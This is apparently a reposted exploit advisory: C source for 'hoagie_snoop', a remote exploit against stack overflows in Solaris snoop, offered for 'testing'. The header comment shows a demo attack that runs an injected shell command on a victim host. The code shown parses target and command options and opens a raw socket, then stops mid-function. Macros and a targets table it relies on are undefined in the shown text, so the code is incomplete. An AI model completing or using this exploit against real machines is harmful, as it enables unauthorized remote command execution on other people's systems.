Remote exploitation of multiple stack-based buffer overflow vulnerabilities in Sun Microsystems Inc.'s snoop could allow an attacker to execute arbitrary code with the privileges of the nobody user, the following exploit code can be used to test your system for the mentioned vulnerability.
Exploit:
/***********************************************************
* hoagie_snoop.c
* SUN SOLARIS SNOOP REMOTE EXPLOIT
* + Sun Solaris 8/9/10
* + OpenSolaris < snv_96
*
* Bug discovered by Gael Delalleau
*
* attack:/exploits# ./hoagie_snoop -t 192.168.0.1
* hoagie_snoop.c - solaris snoop remote
* -andi / void.at
*
* [*] attacking 'SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc' on '192.168.0.1' ...
* [*] execute 'uname -a > /tmp/.patch.your.system.txt' now ...
* [*] done
* attack:/exploits#
*
* admin@opensolaris:~# snoop port 445
* Using device pcn0 (promiscuous mode)
* sh[1]: SMBr: not found [No such file or directory]
* WARNING: received signal 11 from packet 1
* ^Cadmin@opensolaris:~# cat /tmp/.patch.your.system.txt
* SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc Solaris
* admin@opensolaris:~#
*
* !!!UND IMMER DEINE FREUNDE, IHR NEHMT DOCH ALLE DROGEN!!!
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
/* main entry
*/
int main(int argc, char **argv) {
char c;
char *target = SMB_TARGET_DEFAULT;
int port = SMB_PORT_DEFAULT;
int s = 0;
struct sockaddr_in sin;
int i = 0;
char buffer[1024];
int idx = 0;
char *command = NULL;
printf("hoagie_snoop.c - solaris snoop remote\n"
"-andi / void.at\n\n");
if (argc < 2) {
usage(argc, argv);
} else {
while ((c = getopt (argc, argv, "hvt:p:r:i:c:")) != EOF) {
switch (c) {
case 't':
target = optarg;
break;
case 'p':
port = atoi(optarg);
break;
case 'i':
idx = atoi(optarg);
break;
case 'c':
command = optarg;
break;
default:
printf("[*] unknown command line option '%c'\n", c);
exit(-1);
}
}
}
s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if (s == -1) {
printf("[*] failed to create raw socket\n");
} else {
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(target);
if (!command) {
command = "uname -a > /tmp/.patch.your.system.txt";
}
printf("[*] attacking '%s' on '%s' ...\n", targets[idx].description, target);
